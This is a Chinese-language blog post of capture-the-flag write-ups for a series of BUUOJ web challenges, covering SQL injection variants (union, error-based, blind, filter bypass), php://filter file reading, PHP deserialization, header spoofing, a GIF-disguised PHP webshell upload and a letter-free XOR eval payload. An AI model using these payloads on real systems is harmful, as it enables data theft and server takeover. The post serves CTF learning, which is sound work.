前几天开始了 BUUOJ 的刷题之旅(一方面某些原因菜到有点自闭,一方面 adworld 有点不太稳)本来准备按一波顺序写,但是堆堆跟我说起了这个系列题,于是就去刷了一波,感觉还挺好玩。(不愧是一分的水题)

Easy SQL

SQL Injection

这题一开始给了个登录的画面,本来以为是像之前春秋的公益赛一样,会先登录然后再在里面放注入的地方。但是无奈怎么都登不上去,于是顺手尝试了一下。.../check.php?username=999%27%20union%20select%201%2C2%20%23&password=999

没想到这随便试的一手试准了,给了一条白色的回显(前排吐槽界面设计)The used SELECT statements have a different number of columns 。拿到这波提示以后就很容易地试出了数据库的列数,最后的 flag 就一下子出来了 (把背景 block 掉的我差点没看见 flag ,还好看了一手网页源代码)红黑白的三色搭配起来真的不好看

PS 我好像写得太复杂了,其实只要登录上就行。所以应该可以用 ' or 1=1 # 啥的直接拿到 flag。

1
flag{c39d07f5-6b36-4255-b98b-9a66c7144c05}

Havefun

POST & GET Trick

这题给了个很萌的网页,观察了一会儿网页上的猫之后,没思路的我看了一手网页源代码。发现了这样一段代码被注释掉了。

1
2
3
4
5
$cat = $_GET['cat'];
echo $cat;
if($cat == 'dog'){
echo 'Syc{cat_cat_cat_cat}';
}

所以顺势给了网页一个参数 cat=dog 之后,flag 就出现在了网页上。

1
flag{a84da6ed-7606-45b4-b97e-12e6d57e8819}

Secret File

302PHP 伪协议

一开始看到题目还以为是文件上传啥的,点进去是个红配黑的界面。查看一手源码之后可以跳转两次,但是第二次跳转的时候直接提示“查阅完毕”。反复两次之后发现链接被跳转了,于是猜测中间的 action.php 有点东西。于是上了一手 Python,带上 allow_redirects=False 的参数跑了一波 request,然后成功拿到了夹在跳转中间的 secr3t.php。很骚的是这个页面打开是一段 PHP 代码。(?代码审计)一开始我没管,直接照着提示去了flag.php,然后没有成功拿到 flag。

推测要从 secr3t.php 这里想办法直接输出 PHP 文件。正好之前看过的视频里面讲到过 filterphp://。于是回去仔细看了一手那段 PHP 代码。

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../") || stristr($file,"input") || stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

然后照着之前的葫芦画了个这样的瓢 .../secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php 然后成功拿到了一长串 base64 编码。

1
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZjNhOTMxZDAtODU3OS00NGJiLThiODctMjYxODRiYWZmYzlkfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解码之后是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>

<html>

<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>

<body style="background-color:black;"><br><br><br><br><br><br>

<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>

<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{f3a931d0-8579-44bb-8b87-26184baffc9d}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>

</html>

成功拿到 flag

1
flag{f3a931d0-8579-44bb-8b87-26184baffc9d}

LoveSQL

SQL Injection

一如既往熟悉的界面,随手输了个 admin' # 就登进去了,但是除了一行字啥也没有 Your password is 'fbc72bd807fe8419b27393707199b18e'。于是退回去试了一波常规操作,构造一个这样的 payload .../check.php?username=nullnull%27%20union%20select%201%2Cgroup_concat(table_name)%2C3%20from%20information_schema.tables%20where%20table_schema=database()%20%23&password=123 成功爆出了表。

1
2
Hello geekuser,l0ve1ysq1!
Your password is '3'

于是继续常规操作,.../check.php?username=nullnull%27%20union%20select%201%2Cgroup_concat(column_name)%2C3%20from%20information_schema.columns%20where%20table_schema=database()%20%23&password=123 成功爆出列。

1
Hello id,username,password,id,username,password!

到这里我懵了一会儿,他没有 flag 啥的列,我还以为找错地方了。后来试了试 password 发现我想多了。用 .../check.php?username=nullnull%27%20union%20select%201%2Cgroup_concat(password)%2C3%20from%20l0ve1ysq1%20%23&password=123 成功拿到 flag。

1
flag{e3d9d46f-a313-45bf-86b8-31b46fa246ce}

Http

Headers

这题的网页设计终于好看写了OwO 上来没看到啥,所以就看了一手源码,找到了 Secret.php。直接访问一波,然后跟着各种提示,添加如下 header。

1
2
3
X-Forwarded-For: localhost
User-Agent: Syclover
Referer: https://www.Sycseret.com

访问之后成功拿到 flag。

1
flag{39ca0d2c-d886-456e-ad91-98f1bf1fe95c}

BabySQL

SQL Injection

依旧是熟悉的配方,上手拿着上次的 payload 试了一手,发现报错了,然后换了个简单的 .../check.php?username=nullnull%27%20or%201=1%20%23&password=123 依旧报错了。仔细看看报错,发现我语句里的 or 没了。查了一波资料,得知可以双写关键字来绕过过滤。于是试了一手 .../check.php?username=nullnull%27%20oorr%201=1%20%23&password=123 发现登录成功了。于是照着前面的 payload 双写关键字。

1
2
3
4
5
6
7
8
9
10
.../check.php?username=nullnull%27%20ununionion%20selselectect%201%2Cgroup_concat(table_name)%2C3%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema=database()%20%23&password=123

Hello b4bsql,geekuser!
Your password is '3'


.../check.php?username=nullnull%27%20ununionion%20selselectect%201%2Cgroup_concat(column_name)%2C3%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema=database()%20%23&password=123

Hello id,username,password,id,username,password!
Your password is '3'

最后用 .../check.php?username=nullnull%27%20ununionion%20selselectect%201%2Cgroup_concat(passwoorrd)%2C3%20frfromom%20b4bsql%20%23&password=123 成功拿到 flag。

1
flag{e53f0586-f83e-4183-8dba-c12dc4a84383}

HardSQL

SQL Injection

这题用老套路上去就被怼“臭弟弟”了,试了一手,发现大部分关键字好像还在,但是空格啥的符号都没了, union 这个关键字也没了。于是就想着走报错注入的思路了。

一开始疯狂报错(没用的那种),然后去补了一波报错注入的知识点。然后整了个简单的试了试 .../check.php?username=admin%27or(updatexml(1,concat(user(),0x7e,version()),1))%23&password=123 然后发现有了回显 XPATH syntax error: '@localhost~10.3.18-MariaDB'。于是照着整了个爆表的 payload .../check.php?username=
admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123
成功拿到表 H4rDsq1

依照套路,用 .../check.php?username=
admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=123
成功拿到列 id,username,password

最后,用 .../check.php?username=
admin%27or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=123
拿到了半个 flag flag{128c8f16-6d62-4b41-b632-ba搞人心态成功

再次查了一波,用个 right() 拿到了另一半, .../check.php?username=
admin%27or(updatexml(1,concat(0x7e,(select(right(group_concat(password),20))from(H4rDsq1)),0x7e),1))%23&password=123
。最后拼接起来,成功拿到 flag。

1
flag{128c8f16-6d62-4b41-b632-ba18b718684a}

BuyFlag

CookiePOST & GET Trick

这题上来给了个很像 Http 那题的网页,于是就看了一手源码,成功找到入口 pay.php。进去之后依旧没什么头绪——完全没有可以输入的地方。倒是网页本身给了不少提示,于是看了一手源码,发现了一段注释。

1
2
3
4
5
6
7
8
9
10
11
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->

于是构造了一个参数 password=404%250 ,POST 过去之后好像没啥反应。其实是它的 Cookie 里还有点东西,把 Cookie 的 user:0 改成 user:1 之后出现了新的提示。

1
2
3
you are Cuiter
Password Right!
Pay for the flag!!!hacker!!!

于是接着构造 POST 的参数 money=1000000000 ,结果得到了数字过长的提示 Nember lenth is too long 。到这个地方我突然有点迷了,于是去问了堆堆,结果他说他猜出来这是 strcmp 的漏洞(我真的猜不出),于是构造一波参数 money[]=1这个地方用科学计数法也可以构造,写作 money=1e9 ,这样解释更加好一些。(via 堆堆

最后用 password=404%250&money[]=1 的参数成功拿到 flag。

1
flag{40e309cf-6975-439d-912d-0c66009cd05e}

PHP

Source LeakUnserialize

打开之后看到了一只猫猫,可以用鼠标操控毛线球逗它玩,页面上方还有“备份”的提示。于是咱用 wwwscan 扫描了一下,顺利下载到了 .../www.zip。看了一下文件,发现以下主要代码。

1
2
3
//index.php
$select = $_GET['select'];
$res=unserialize(@$select);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//class.php
...
function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
...

很明显这里考了一个反序列化的操作,我把他的代码稍作修改,看了一下序列化的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
echo serialize(new Name('admin',100));
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __destruct(){
if ($this->password != 100) {
die();
}

}
}

输出的结果是 O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}。因为还要绕过 __wakeup(),所以要把上述输出的 2 改成 3 或者一个更大的数。然后因为 username 和 password 都是私有成员,所以把类名和成员名前面以空格输出的 null 字符换成 \0。

最后将请求 url 拼接起来 .../?select=O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}。使用 Python 的 Requests 库访问,成功拿到 flag。(我也不知道为什么直接 HackBar 访问不显示 flag)

1
flag{14414a53-1fe9-4623-a67b-07b581d4bbcb}

Knife

这题很明显地提示了使用一波菜刀,于是果断用菜刀连上去。一开始用菜刀的文件管理找了很久,并没有找到 flag。于是就打开了一波虚拟终端,整了一波 find / -name flag。在一堆 Permission Denied 刷过之后找到了 /flag。然后执行一波 cat /flag 就成功地拿到了 flag。

1
flag{3d1c3437-1ea2-45ea-9660-5d304e2b43c5}

Upload

Upload

打开之后是个朴素的上传界面,首先随便写了句 phpinfo 伪装成 png 传上去,结果提示不能含有字符 <?,于是果断换了一种只有 php 5.x 可以执行的格式(事实证明还是管的),但是依旧被识别了。一番查找之后在文件头部加上了 GIF89a? 成功过掉这一个点。结果在改拓展名的时候又失败了,提示不能用 .php 拓展名。搜索了一波发现可以用 .phtml 这个后缀。于是一番修改之后,“图片”传了上去,一句话木马得以执行。

1
2
GIF89a?
<script language="php">eval($_POST['Citrone'])</script>

用菜刀连上之后,进虚拟终端里直接 cat /flag 就能得到 flag。

1
flag{14129955-5097-4e0d-91ff-b200f9a11b5d}

RCE ME

RCEAntSword

题目一开始就给了段很顶的代码,直接把字母数字都过滤了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>

一番查找之下找到了神奇操作,通过其他字符的异或得到字母和数字来构造指令。原理参考 于是我当即用可以使用的各种字符相互异或打了个表,然后筛选出了可构成字母和数字的组合。然后照着构造了 code=$_=%27`{{{%27^%27?%3C%3E/%27;${$_}[_](${$_}[__]);&_=assert&__=eval($_POST[%22l%22]) 这个 payload,成功连上。但是因为过滤了太多东西,导致终端命令几乎没法执行。

在一番查询之后找到了蚁剑,辗转在 Kali Linux 装上之后用上了 bypass disable 的插件,然后成功执行了 readflag 读取到了flag。

1
flag{b4c4e9fb-ea8c-4351-98e1-b1e8e5794411}

FinalSQL

SQL Injection

这题其实需要一点仔细的观察,跟之前开门见山的注入点有点不一样,给出的账号和密码的框并不是注入的地方。点完五个按钮可以拿到“第六个按钮”的暗示,于是看了一手源码,发现有一行代码被注释掉了,取消注释发现了一个框,请求是 ../search.php?id=,也就是那几个按钮的 ID。所有的结果都出现过了,其实一开始我是没有思路的,后来被提醒了这波是盲注,于是就构造了个 (ascii(substr((select(database())),1,1))>1)^0 试了一手,发现大于和小于的结果的确不一样(分别会对应 id=1id=0 的结果),于是拿出之前写好的二分模板,略作修改跑了起来。

1
2
3
4
5
6
#爆表
(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))," . $i . ",1))>" . $_mid . ")^0
#爆列
(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database()))," . $i . ",1))>" . $_mid . ")^0
#爆出 flag
(ascii(substr((select(group_concat(password))from(F1naI1y))," . $i . ",1))>" . $_mid . ")^0

其实这题还是有点心机的,flag 放在了很长的 password 里面(总共200+字符,如果不用二分得跑很久)。

1
flag{43d07021-39af-481a-a873-3f9e1d0a29c0}